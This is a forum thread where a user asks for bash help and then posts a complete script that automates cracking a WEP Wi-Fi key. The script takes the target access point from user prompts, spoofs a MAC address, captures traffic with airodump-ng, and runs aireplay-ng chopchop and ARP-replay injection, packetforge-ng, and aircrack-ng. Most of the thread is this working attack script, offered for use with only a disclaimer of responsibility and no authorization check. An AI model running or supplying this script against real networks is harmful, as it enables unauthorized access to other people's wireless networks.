Script or Bash help

[jcarlos_7]

I'm trying to make a simple bash to automate the wep crack procedure, i have some kind of basic idea, but i don't know how to store a user input inside a variable, i know how to do it in java, but not in linux bash, so my main idea is this:

#e=ESSID AP NAME
#b=BSSID AP MAC
#c=CHANNEL
#r=-###-####
#d=.cap file name

rmmod ipw2200
modprobe ipw2200 rtap_iface=1
ifconfig eth1 up hw ether 00:11:22:33:44:55
iwconfig eth1 essid $e channel $c key s:fakekey mode managed
airodump-ng --bssid $b -w $d rtap0
#need a break here and another terminal

aireplay-ng -4 -a $b -h 00:11:22:33:44:55 -i rtap0 eth1

#A prompt ask to use "this" packet. I need to Type "y" for the attack to continue. Once it finishes it shows a plaintext (.cap) file and a keystream(.xor) file. The keystream file will look something like "replay_dec-####-######.xor" i need to store the "####-######" into a variable to use it on the next step

#Now, to create an arp-request packet using the aquired keysteam file i need to place the number generated on the previous step.

packetforge-ng -0 -a $b -h 00:11:22:33:44:55 -k 192.168.1.100 -l 192.168.1.101 -y replay_dec$r.xor -w arp-request

#these steps doesn't require variables

aireplay-ng -2 -r arp-request eth1

#here i need to run another terminal

aircrack-ng -z $d*.cap

any help or link to a tutorial that can help me create the script would be great!, thanks in advance.

JCarlos

[Kieren]

read -p "Are you sure you want to continue? <y/N> " prompt
if [[ $prompt == "y" || $prompt == "Y" || $prompt == "yes" || $prompt == "Yes" ]]
then
  echo ""
else
  exit 0
fi

[jcarlos_7]

I made a little script for wep cracking with an Intel IPW2200 Wireless Card, any suggestion will be great!, and thanks for the help Kieren.

#e=ESSID AP NAME
#b=BSSID AP MAC
#c=CHANNEL
#r=-###-####
#a=wireless adapter
iwconfig
read -p "What's the name of your wireless adapter? " a
iwlist "$a" scan
rmmod ipw2200
modprobe ipw2200 rtap_iface=1
read -p "AP MAC address: " b
read -p "AP name: " e
read -p "AP Channel: " c
ifconfig "$a" up hw ether 00:11:22:33:44:55
iwconfig "$a" essid "$e" channel "$c" key s:fakekey mode managed
xterm -e airodump-ng --bssid "$b" -w capt rtap0 &
aireplay-ng -4 -F -a "$b" -h 00:11:22:33:44:55 -i rtap0 "$a"
read -p "Write down the ####-####: " r
packetforge-ng -0 -a "$b" -h 00:11:22:33:44:55 -k 192.168.1.100 -l 192.168.1.101 -y replay_dec-"$r".xor -w arp-request
aireplay-ng -2 -F -r arp-request "$a" &
xterm -hold -e echo "is #data in airodump-ng near 15K? if yes, close this, if not, wait until it reaches that number, then close this."
xterm -hold -e aircrack-ng -z capt*.cap
echo "Congratulations if you found the WEP key, if not, try running again the script. Made by: Jcarlos_7"
exit 0

i'm not responsible of the use of this script.